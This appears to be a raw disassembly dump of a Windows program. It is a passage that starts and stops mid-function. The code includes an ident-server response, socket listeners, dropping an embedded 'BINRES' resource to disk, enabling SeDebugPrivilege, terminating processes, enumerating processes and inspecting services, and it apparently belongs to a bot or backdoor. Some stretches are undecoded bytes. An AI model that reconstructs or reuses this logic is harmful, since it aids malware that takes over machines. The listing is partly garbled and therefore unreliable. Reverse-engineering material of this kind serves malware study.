		call	esi	; rand
		cdq
		mov	ecx, 1770h
		idiv	ecx
		inc	edx
		push	edx
		lea	edx, [esp+0A8h+var_48]
		push	offset aDDUseridUnixS ;	"%d, %d	: USERID : UNIX	: %s\r\n"
		push	edx
		call	sub_5EA1BD
		nop
		add	esp, 14h
		lea	eax, [esp+9Ch+var_48]
		push	ebx
		push	40h
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		mov	esi, dword_50FC88
		push	ebp
		call	esi	; closesocket
		lea	ecx, [esp+0A0h+var_7C]
		mov	[esp+0A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0A0h+var_90]
		push	ecx
		call	esi	; closesocket
		mov	byte_4E6EC9, bl
		pop	edi
		jmp	short loc_41F9FE
; ---------------------------------------------------------------------------


loc_41F9E7:				; CODE XREF: sub_41F860+67j
		push	7D0h
		nop
		call	near ptr 2811E0Eh
		jmp	short loc_41FA01
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F860+4Ej
		mov	ebp, [esp+9Ch+var_90]
		mov	esi, dword_50FC88


loc_41F9FE:				; CODE XREF: sub_41F860+185j
		push	ebp
		call	esi	; closesocket


loc_41FA01:				; CODE XREF: sub_41F860+38j
					; sub_41F860+192j
		mov	ecx, [esp+9Ch+var_C]
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 90h
		retn
sub_41F860	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FA90	proc near		; CODE XREF: sub_401ABEj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		jz	short loc_41FACB
		dec	eax
		jz	short loc_41FAB4
		dec	eax
		jnz	short loc_41FAF1
		mov	ecx, dword_50BB58
		mov	dword_50BB3C, 4
		call	sub_401DCA
		jmp	short loc_41FAF1
; ---------------------------------------------------------------------------


loc_41FAB4:				; CODE XREF: sub_41FA90+8j
		mov	ecx, dword_50BB58
		mov	dword_50BB3C, 7
		call	sub_401028
		jmp	short loc_41FAF1
; ---------------------------------------------------------------------------


loc_41FACB:				; CODE XREF: sub_41FA90+5j
		mov	ecx, dword_50BB58
		xor	eax, eax
		mov	dword_50BB44, eax
		mov	dword_50BB3C, 1
		mov	dword_50BB4C, eax
		mov	dword_50BB50, eax
		call	sub_401744


loc_41FAF1:				; CODE XREF: sub_41FA90+Bj
					; sub_41FA90+22j ...
		mov	eax, dword_50BB5C
		push	offset dword_50BB38
		push	eax
		mov	dword_50BB3C, 4
		nop
		call	near ptr 28E08ACh
		retn	4
sub_41FA90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FB30:				; CODE XREF: ___:loc_401956j
		push	esi
		xor	esi, esi
		push	offset sub_401ABE
		mov	ecx, offset byte_44793F
		mov	dword_50BB38, 20h
		mov	dword_50BB3C, 2
		mov	dword_50BB40, 3
		mov	dword_50BB44, esi
		mov	dword_50BB48, esi
		mov	dword_50BB4C, esi
		mov	dword_50BB50, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 28E0491h
		cmp	eax, esi
		mov	dword_50BB5C, eax
		jz	short loc_41FBAA
		push	offset dword_50BB38
		push	eax
		mov	dword_50BB3C, 4
		mov	dword_50BB4C, esi
		mov	dword_50BB50, esi
		nop
		call	near ptr 28E08ACh


loc_41FBAA:				; CODE XREF: ___:0041FB86j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FBD0	proc near		; CODE XREF: sub_401069j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E068
		mov	eax, esi
		pop	esi
		retn
sub_41FBD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FC00	proc near		; CODE XREF: sub_401CDFj

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		sub	esp, 110h
		mov	dword_50BB58, ecx
		push	100h
		mov	ecx, offset byte_44793F
		call	sub_4017E4
		push	eax
		lea	eax, [esp+118h+var_100]
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		lea	edx, [esp+110h+var_110]
		lea	ecx, [esp+110h+var_100]
		xor	eax, eax
		push	edx
		mov	[esp+114h+var_110], ecx
		mov	[esp+114h+var_10C], offset loc_401956
		mov	[esp+114h+var_108], eax
		mov	[esp+114h+var_104], eax
		call	near ptr 28E0000h
		nop
		xor	eax, eax
		add	esp, 110h
		retn
sub_41FC00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FC80:				; CODE XREF: ___:00401C30j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		push	offset aWb	; "wb"
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41FCA2
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCA2:				; CODE XREF: ___:0041FC9Aj
		mov	ecx, [esp+18h]
		push	ecx
		nop
		call	near ptr 2871CFFh
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41FCB9
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCB9:				; CODE XREF: ___:0041FCB1j
		mov	edx, [esp+14h]
		push	offset aBinres	; "BINRES"
		and	edx, 0FFFFh
		push	edx
		push	esi
		nop
		call	near ptr 2770920h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41FCDC
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCDC:				; CODE XREF: ___:0041FCD4j
		push	ebp
		push	edi
		push	esi
		nop
		call	near ptr 2780000h
		push	edi
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 27803AAh
		push	ebp
		mov	esi, eax
		call	near ptr 278070Eh
		nop
		push	ebx
		push	esi
		push	1
		push	eax
		call	near ptr 77C4173Bh
		nop
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 14h
		mov	al, 1
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD50	proc near		; CODE XREF: sub_40187Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FD78
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_41FD71
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FD71:				; CODE XREF: sub_41FD50+1Aj
		mov	eax, [eax+0Ch]
		mov	ecx, [eax]
		mov	eax, [ecx]


loc_41FD78:				; CODE XREF: sub_41FD50+Fj
		pop	esi
		retn
sub_41FD50	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD90	proc near		; CODE XREF: sub_401A8Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FDAE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FDAE:				; CODE XREF: sub_41FD90+15j
		mov	ecx, [esp+14h+arg_4]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+14h+arg_0]
		mov	word ptr [esp+14h+var_10+2], ax
		push	edx
		call	sub_40187F
		add	esp, 4
		mov	[esp+14h+var_C], eax
		lea	eax, [esp+14h+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FE0A
		push	esi
		nop
		call	near ptr 71AB9639h
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FE0A:				; CODE XREF: sub_41FD90+69j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FD90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE50	proc near		; CODE XREF: sub_40197Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FE6E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FE6E:				; CODE XREF: sub_41FE50+15j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	esi
		mov	word ptr [esp+20h+var_10+2], ax
		mov	[esp+20h+var_C], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41FEC0
		push	esi
		call	near ptr 71AB9639h
		nop
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FEC0:				; CODE XREF: sub_41FE50+5Fj
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FE50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FEF0	proc near		; CODE XREF: sub_4012DFj

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, [esp+14h+arg_0]
		push	0Ah
		push	esi
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FF24
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_10]
		push	eax
		push	ecx
		push	esi
		mov	[esp+20h+arg_0], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF27


loc_41FF24:				; CODE XREF: sub_41FEF0+14j
		or	eax, 0FFFFFFFFh


loc_41FF27:				; CODE XREF: sub_41FEF0+32j
		pop	esi
		add	esp, 10h
		retn
sub_41FEF0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FF40	proc near		; CODE XREF: sub_401FEBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_41FF76
		mov	esi, [esp+8+arg_0]
		push	0Ah
		push	esi
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FF76
		lea	eax, [esp+8+arg_4]
		mov	[esp+8+arg_4], 10h
		push	eax
		push	edi
		push	esi
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF79


loc_41FF76:				; CODE XREF: sub_41FF40+8j
					; sub_41FF40+1Aj
		or	eax, 0FFFFFFFFh


loc_41FF79:				; CODE XREF: sub_41FF40+34j
		pop	edi
		pop	esi
		retn
sub_41FF40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41FF90	proc near		; CODE XREF: sub_4015FAj

var_1128	= dword	ptr -1128h
var_1124	= byte ptr -1124h
var_1112	= byte ptr -1112h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_1108	= byte ptr -1108h
var_1104	= byte ptr -1104h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_104		= byte ptr  108h
arg_110		= byte ptr  114h

		mov	eax, 1114h
		call	sub_436840
		lea	eax, [esp+arg_4]
		lea	ecx, [esp+arg_110]
		push	eax
		push	1000h
		push	ecx
		mov	byte ptr [esp+0Fh], 0
		call	sub_436FC0
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41FFC3
		xor	al, al
		add	esp, 1114h
		retn
; ---------------------------------------------------------------------------


loc_41FFC3:				; CODE XREF: sub_41FF90+28j
		mov	eax, [esp+0Ch+var_4]
		shr	eax, 2
		jz	loc_42008D
		push	ebx
		mov	ebx, dword_50F874
		push	ebp
		push	esi
		push	edi
		lea	ebp, [esp+1Ch+arg_104]
		mov	[esp+1Ch+var_8], eax


loc_41FFE5:				; CODE XREF: sub_41FF90+F3j
		mov	edi, offset aUnknown ; "unknown"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+20h]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+0]
		push	ecx
		push	0
		push	411h
		call	ebx
		mov	esi, eax
		test	esi, esi
		jz	short loc_420077
		lea	edx, [esp+18h]
		lea	eax, [esp+1Ch]
		push	edx
		push	4
		push	eax
		push	esi
		call	sub_436FBA
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_420070
		mov	edx, [esp+1144h+var_1128]
		lea	ecx, [esp+1144h+var_1124]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	sub_436FB4
; ---------------------------------------------------------------------------
		db 8Bh,	84h, 24h
		dd 1128h, 20244C8Dh, 0E8905150h, 778261F2h, 8508C483h
		dd 500D75C0h, 0FF96E856h, 0C690022Dh, 1132444h
; ---------------------------------------------------------------------------


loc_420070:				; CODE XREF: sub_41FF90+A2j
		push	esi
		call	near ptr 28207FBh
		nop


loc_420077:				; CODE XREF: sub_41FF90+8Cj
		mov	eax, dword ptr [esp+1138h+var_1124]
		add	ebp, 4
		dec	eax
		mov	dword ptr [esp+1138h+var_1124],	eax
		jnz	loc_41FFE5
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx


loc_42008D:				; CODE XREF: sub_41FF90+3Aj
		mov	al, byte ptr [esp+1128h+var_1128+3]
		add	esp, 1114h
		retn
sub_41FF90	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4200F0	proc near		; CODE XREF: sub_4019FBj

var_490		= byte ptr -490h
var_488		= byte ptr -488h
var_482		= byte ptr -482h
var_480		= byte ptr -480h
var_478		= byte ptr -478h
var_468		= dword	ptr -468h
var_464		= byte ptr -464h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_43C		= byte ptr -43Ch
var_438		= byte ptr -438h
var_424		= byte ptr -424h
var_420		= byte ptr -420h
var_38		= byte ptr -38h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4200F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 44Ch
		push	ebx
		push	esi
		mov	esi, [esp+460h+arg_0]
		lea	ecx, [esp+460h+var_424]
		push	esi
		call	sub_401861
		push	eax
		mov	[esp+464h+var_4], 0
		call	sub_401E8D
		add	esp, 4
		lea	ecx, [esp+460h+var_424]
		mov	bl, al
		mov	[esp+460h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_42026A
		lea	ecx, [esp+460h+var_43C]
		call	sub_401424
		push	esi
		lea	eax, [esp+464h+var_43C]
		mov	ebx, 1
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		mov	[esp+46Ch+var_4], ebx
		mov	[esp+46Ch+var_454], 0
		mov	[esp+46Ch+var_450], 80h
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+460h+var_454]
		push	ecx
		push	20019h
		push	0
		lea	ecx, [esp+46Ch+var_43C]
		call	sub_401681
		push	eax
		push	80000002h
		call	near ptr 292023Dh
		nop
		mov	ecx, [esp+474h+var_468]
		lea	edx, [esp+474h+var_464]
		lea	eax, [esp+474h+var_420]
		push	edx
		push	eax
		push	0
		push	0
		push	offset aImagepath ; "ImagePath"
		push	ecx
		nop
		call	near ptr 28D0000h
		lea	edx, [esp+0Bh]
		lea	eax, [esp+48Ch+var_438]
		push	edx
		push	eax
		lea	ecx, [esp+494h+var_478]
		nop
		call	near ptr 76081F67h
		mov	ecx, dword_50F9AC
		mov	[esp+494h+var_38], 2
		mov	edx, [ecx]
		lea	ecx, [esp+494h+var_480]
		push	edx
		push	offset asc_443AF4 ; "\\"
		nop
		call	near ptr 76085AE4h
		inc	eax
		lea	ecx, [esp+49Ch+var_488]
		push	eax
		push	0
		nop
		call	near ptr 760976AFh
		lea	ecx, [esp+4A4h+var_490]
		call	near ptr 7608B84Ch
		nop
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 24244C8Dh, 0FE145CE8h, 0E89050FFh, 23B067Fh,	14244C8Dh
		dd 5C249C88h, 90000004h, 0C6F248E8h, 244C8D75h,	2484C724h
		dd 45Ch, 0FFFFFFFFh, 0FE0FD5E8h, 5EC38AFFh, 248C8B5Bh
		dd 44Ch, 0D8964h, 81000000h, 458C4h
		db 0, 0C3h
; ---------------------------------------------------------------------------


loc_42026A:				; CODE XREF: sub_4200F0+5Aj
		mov	ecx, [esp+460h+var_C]
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 458h
		retn
sub_4200F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420300	proc near		; CODE XREF: sub_401E8Dj

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	ebx
		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	near ptr 2900000h
		nop
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_420325
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420325:				; CODE XREF: sub_420300+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	ebx
		nop
		call	near ptr 2890574h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_420350
		push	ebx
		nop
		call	near ptr 2900668h
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420350:				; CODE XREF: sub_420300+3Fj
		push	ebp
		push	edi
		mov	edi, dword_50F740
		push	esi
		call	edi
		push	esi
		call	edi
		mov	ebp, dword_50F73C
		lea	eax, [esp+2Ch+var_1C]
		push	eax
		push	1
		push	esi
		call	ebp
		push	esi
		call	edi
		lea	ecx, [esp+2Ch+var_1C]
		push	ecx
		push	1
		push	esi
		call	ebp
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	ebx
		call	esi
		pop	edi
		pop	ebp
		pop	esi
		mov	al, 1
		pop	ebx
		add	esp, 1Ch
		retn
sub_420300	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4203D0	proc near		; CODE XREF: sub_4018A7j

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		lea	eax, [esp+34h+var_28]
		push	edi
		xor	esi, esi
		push	eax
		push	esi
		push	28h
		xor	bl, bl
		mov	[esp+44h+var_24], 10h
		nop
		call	near ptr 27702BDh
		push	eax
		call	near ptr 28B1717h
		nop
		mov	ebp, dword_50F718
		mov	edi, dword_50F8D8
		test	eax, eax
		jnz	short loc_420420
		lea	ecx, [esp+38h+var_28]
		push	ecx
		push	28h
		nop
		call	near ptr 27702D6h
		push	eax
		call	near ptr 28B1C4Ah
		nop
		test	eax, eax
		jz	short loc_42047F


loc_420420:				; CODE XREF: sub_4203D0+36j
		cmp	[esp+38h+var_28], esi
		jz	short loc_420483
		lea	edx, [esp+38h+var_1C]
		mov	[esp+38h+var_20], 1
		push	edx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	esi
		mov	[esp+44h+var_14], 2
		nop
		call	near ptr 28C0000h
		lea	eax, [esp+38h+var_24]
		lea	ecx, [esp+38h+var_10]
		push	eax
		mov	eax, [esp+3Ch+var_28]
		push	ecx
		lea	edx, [esp+40h+var_20]
		push	10h
		push	edx
		push	esi
		push	eax
		call	ebp
		test	eax, eax
		jz	short loc_420478
		nop
		call	near ptr 27A08E3h
		cmp	eax, 514h
		jnz	short loc_420483
		mov	ecx, [esp+38h+var_28]
		push	ecx
		jmp	short loc_42047D
; ---------------------------------------------------------------------------


loc_420478:				; CODE XREF: sub_4203D0+92j
		mov	edx, [esp+38h+var_28]
		push	edx


loc_42047D:				; CODE XREF: sub_4203D0+A6j
		call	edi


loc_42047F:				; CODE XREF: sub_4203D0+4Ej
		mov	[esp+38h+var_28], esi


loc_420483:				; CODE XREF: sub_4203D0+54j
					; sub_4203D0+9Fj
		mov	eax, [esp+38h+arg_0]
		push	eax
		push	esi
		push	411h
		nop
		call	near ptr 2770316h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4204A8
		push	0
		push	esi
		nop
		call	near ptr 2700000h
		push	esi
		mov	bl, 1
		call	edi


loc_4204A8:				; CODE XREF: sub_4203D0+C8j
		mov	eax, [esp+38h+var_28]
		test	eax, eax
		jz	short loc_4204C7
		push	0
		push	0
		lea	ecx, [esp+40h+var_10]
		push	10h
		push	ecx
		push	0
		push	eax
		call	ebp
		mov	edx, [esp+38h+var_28]
		push	edx
		call	edi


loc_4204C7:				; CODE XREF: sub_4203D0+DEj
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebp
		pop	ebx
		add	esp, 28h
		retn
sub_4203D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420530	proc near		; CODE XREF: sub_4011D6j

var_68		= dword	ptr -68h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_F4		= byte ptr  0F8h
arg_100		= byte ptr  104h
arg_10C4	= dword	ptr  10C8h
arg_10D0	= dword	ptr  10D4h
arg_1104	= dword	ptr  1108h
arg_1118	= dword	ptr  111Ch

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420530
		push	eax
		mov	eax, 1130h
		mov	large fs:0, esp
		call	sub_436840
		push	esi
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 2871CFFh
		test	eax, eax
		mov	dword_50BB60, eax
		jnz	short loc_42057C
		push	offset aPsapi_dll ; "PSAPI.DLL"
		call	near ptr 27C0890h
		nop
		test	eax, eax
		mov	dword_50BB60, eax
		jz	loc_4206FA


loc_42057C:				; CODE XREF: sub_420530+32j
		mov	esi, dword_50F8A0
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	eax
		call	esi
		mov	dword_50BB64, eax
		mov	eax, dword_50BB60
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	eax
		call	esi
		mov	ecx, dword_50BB60
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	ecx
		mov	dword_50BB68, eax
		call	esi
		mov	ecx, dword_50BB64
		mov	dword_50BB6C, eax
		test	ecx, ecx
		jz	loc_4206FA
		mov	edx, dword_50BB68
		test	edx, edx
		jz	loc_4206FA
		test	eax, eax
		jz	loc_4206FA
		lea	edx, [esp+30h+var_28]
		lea	eax, [esp+30h+arg_100]
		push	edx
		push	1000h
		push	eax
		call	ecx
		test	eax, eax
		jz	loc_4206FA
		mov	ecx, dword ptr aUnknown	; "unknown"
		mov	eax, dword ptr aUnknown+4
		mov	edx, [esp+3Ch+var_34]
		push	edi
		mov	[esp+40h+var_C], ecx
		mov	[esp+40h+var_8], eax
		mov	ecx, 3Fh
		mov	eax, 0
		lea	edi, [esp+40h+var_4]
		shr	edx, 2
		rep stosd
		jz	loc_4206E1
		push	ebx
		mov	ebx, [esp+44h+arg_1104]
		push	ebp
		mov	ebp, dword_50F874
		lea	edi, [esp+48h+arg_F4]
		mov	[esp+48h+var_38], edx


loc_42063F:				; CODE XREF: sub_420530+1A9j
		mov	ecx, [edi]
		push	ecx
		push	0
		push	410h
		call	ebp
		mov	esi, eax
		test	esi, esi
		jz	short loc_4206CD
		lea	edx, [esp+54h+var_38]
		lea	eax, [esp+54h+var_3C]
		push	edx
		push	4
		push	eax
		push	esi
		call	dword_50BB68
		test	eax, eax
		jz	short loc_4206C6
		mov	edx, [esp+64h+var_4C]
		lea	ecx, [esp+64h+var_28]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	dword_50BB6C
		lea	ecx, [esp+74h+var_54]
		call	sub_401866
		lea	eax, [esp+74h+var_38]
		lea	ecx, [esp+74h+var_54]
		push	eax
		mov	[esp+78h+arg_10D0], 0
		call	sub_4015D7
		mov	ecx, [edi]
		lea	edx, [esp+74h+var_54]
		mov	[esp+35h], ecx
		push	edx
		mov	ecx, ebx
		call	sub_402167
; ---------------------------------------------------------------------------
		lea	ecx, [esp+74h+var_54]
		mov	[esp+74h+arg_10D0], 0FFFFFFFFh
		call	sub_401A6E


loc_4206C6:				; CODE XREF: sub_420530+136j
		push	esi
		nop
		call	near ptr 28207FBh


loc_4206CD:				; CODE XREF: sub_420530+11Fj
		mov	eax, [esp+78h+var_68]
		add	edi, 4
		dec	eax
		mov	[esp+78h+var_68], eax
		jnz	loc_42063F
		pop	ebp
		pop	ebx


loc_4206E1:				; CODE XREF: sub_420530+EFj
		pop	edi
		mov	al, 1
		pop	esi
		mov	ecx, [esp+68h+arg_10C4]
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
; ---------------------------------------------------------------------------


loc_4206FA:				; CODE XREF: sub_420530+46j
					; sub_420530+8Cj ...
		mov	ecx, [esp+18h+arg_1118]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
sub_420530	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4207A0	proc near		; CODE XREF: sub_401866j
		push	esi
		mov	esi, ecx
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_4207A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4207C0	proc near		; CODE XREF: sub_401A6Ej
		jmp	sub_401226
sub_4207C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4207E0	proc near		; CODE XREF: sub_402144j

var_518		= byte ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_4F8		= byte ptr -4F8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= dword	ptr -4ACh
var_4A8		= dword	ptr -4A8h
var_4A4		= dword	ptr -4A4h
var_4A0		= dword	ptr -4A0h
var_49C		= dword	ptr -49Ch
var_498		= dword	ptr -498h
var_494		= dword	ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
